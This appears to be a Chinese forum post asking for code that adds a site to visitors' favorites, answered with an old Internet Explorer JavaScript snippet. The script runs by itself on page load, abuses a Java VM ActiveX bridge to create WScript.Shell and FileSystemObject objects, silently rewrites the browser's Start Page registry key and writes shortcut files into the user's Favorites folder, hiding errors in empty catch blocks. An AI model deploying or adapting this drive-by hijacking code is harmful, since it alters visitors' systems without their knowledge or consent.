求自動加入收藏夾的代碼!

document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");

//this function is only needed if you add favorites or links

function AddFavLnk(loc, DispName, SiteURL)

{

var Shor = Shl.CreateShortcut(loc + "\\" + DispName +".URL");

Shor.TargetPath = SiteURL;

Shor.Save();

}

//end add favorites or links function

function f(){

try

{

//ActiveX initialization

a1=document.applets[0];

a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Shl = a1.GetObject();

a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");

a1.createInstance();

FSO = a1.GetObject();

a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");

a1.createInstance();

Net = a1.GetObject();

try

{

if (document.cookie.indexOf("Chg") == -1)

{

//set cookie

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//end set cookie

//set home page

Shl.RegWrite ("HKCU\\Software\\Microsoft\\Internet Explorer\\Main\\Start Page", "/");

var expdate = new Date((new Date()).getTime() + (24 * 60 * 60 * 1000 * 90));

document.cookie="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"

//end set home page

//add favorites this is the common part; should be here if you want to add favorites

var WF, Shor, loc;

WF = FSO.GetSpecialFolder(0);

loc = WF + "\\Favorites";

if(!FSO.FolderExists(loc))

{

loc = FSO.GetDriveName(WF) + "\\Documents and Settings\\" + Net.UserName + "\\Favorites";

if(!FSO.FolderExists(loc))

{

return;

}

}

//end common part

//the following line is used for adding favorites.

//to add multiple favorites, duplicate the following line, changing the last 2 paramaters.

AddFavLnk(loc, "經典論壇", "");

//end add favorites

}

}

catch(e)

{}

}

catch(e)

{}

}

function init()

{

setTimeout("f()", 1000);

}

init();

</script>